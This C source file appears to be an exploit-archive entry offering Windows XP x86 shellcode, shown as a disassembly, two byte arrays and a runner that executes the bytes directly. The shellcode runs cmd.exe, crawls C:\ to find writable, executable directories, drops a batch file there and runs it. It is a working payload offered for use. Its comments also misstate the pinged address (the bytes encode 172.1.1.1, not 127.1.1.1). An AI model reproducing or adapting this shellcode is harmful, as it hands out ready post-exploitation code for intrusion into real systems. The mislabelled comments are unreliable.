92 lines
No EOL
2.4 KiB
C
92 lines
No EOL
2.4 KiB
C
/*
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# Title: Windows x86 - Executable directory search Shellcode (130 bytes)
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# Date: 26-02-2017
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# Author: lu0xheap
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# Platform: Win_x86
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# Tested on: WinXP SP1
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# Shellcode Size: 130 bytes
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*/
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/*
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Description:
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write & exec dir searcher
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starts from C:\
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If dir found then write, execute (ping 127.1.1.1) and exit
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If Write/noexec dir found then continue
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Tested on WinXP SP1 (77e6fd35;77e798fd)
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i686-w64-mingw32-gcc shell.c -o golddgger.exe
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Null-free version:
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(gdb) disassemble
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Dump of assembler code for function function:
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=> 0x08048062 <+0>: pop ecx
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0x08048063 <+1>: xor eax,eax
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0x08048065 <+3>: mov BYTE PTR [ecx+0x64],al
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0x08048068 <+6>: push eax
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0x08048069 <+7>: push ecx
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0x0804806a <+8>: mov eax,0x77e6fd35
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0x0804806f <+13>: call eax
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0x08048071 <+15>: xor eax,eax
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0x08048073 <+17>: push eax
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0x08048074 <+18>: mov eax,0x77e798fd
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0x08048079 <+23>: call eax
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NULL-free shellcode (132 bytes):
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"\xeb\x19\x59\x31\xc0\x88\x41\x64"
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"\x50\x51\xb8"
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"\x35\xfd\xe6\x77" // exec
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"\xff\xd0\x31\xc0\x50\xb8"
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"\xfd\x98\xe7\x77" // exit
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"\xff\xd0\xe8\xe2\xff\xff\xff"
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"\x63\x6d\x64\x2e\x65\x78\x65\x20"
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"\x2f\x43\x20\x22\x28\x63\x64\x20"
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"\x63\x3a\x5c" // C:\
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"\x20\x26\x46\x4f\x52"
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"\x20\x2f\x44\x20\x2f\x72\x20\x25"
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"\x41\x20\x49\x4e\x20\x28\x2a\x29"
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"\x20\x44\x4f\x20"
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"\x65\x63\x68\x6f\x20"
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"\x70\x69\x6e\x67\x20"
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"\x31\x37\x32\x2e\x31\x2e\x31\x2e\x31" // 127.1.1.1
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"\x3e\x22\x25\x41\x5c\x7a\x2e\x62"
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"\x61\x74\x22\x26\x28\x63\x61\x6c"
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"\x6c\x20\x22\x25\x41\x5c\x7a\x2e"
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"\x62\x61\x74\x22\x26\x26\x65\x78"
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"\x69\x74\x29\x29\x22";
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*/
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// NULL version (130 bytes):
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char code[] =
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"\xeb\x16\x59\x31\xc0\x50\x51\xb8"
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"\x35\xfd\xe6\x77" // exec
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"\xff\xd0\x31\xc0\x50\xb8"
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"\xfd\x98\xe7\x77" // exit
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"\xff\xd0\xe8\xe5\xff\xff\xff\x63"
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"\x6d\x64\x2e\x65\x78\x65\x20\x2f"
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"\x43\x20\x22\x28\x63\x64\x20"
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"\x63\x3a\x5c" // C:\
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"\x20\x26\x46\x4f\x52\x20\x2f\x44"
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"\x20\x2f\x72\x20\x25\x41\x20\x49"
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"\x4e\x20\x28\x2a\x29\x20\x44\x4f"
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"\x20\x65\x63\x68\x6f\x20\x70\x69"
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"\x6e\x67\x20"
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"\x31\x37\x32\x2e\x31\x2e\x31\x2e\x31" // 127.1.1.1
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"\x3e\x22\x25\x41"
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"\x5c\x7a\x2e\x62\x61\x74\x22\x26"
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"\x28\x63\x61\x6c\x6c\x20\x22\x25"
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"\x41\x5c\x7a\x2e\x62\x61\x74\x22"
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"\x26\x26\x65\x78\x69\x74\x29\x29"
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"\x22\x00";
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int main(int argc, char **argv)
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{
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int (*func)();
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func = (int (*)()) code;
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(int)(*func)();
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} |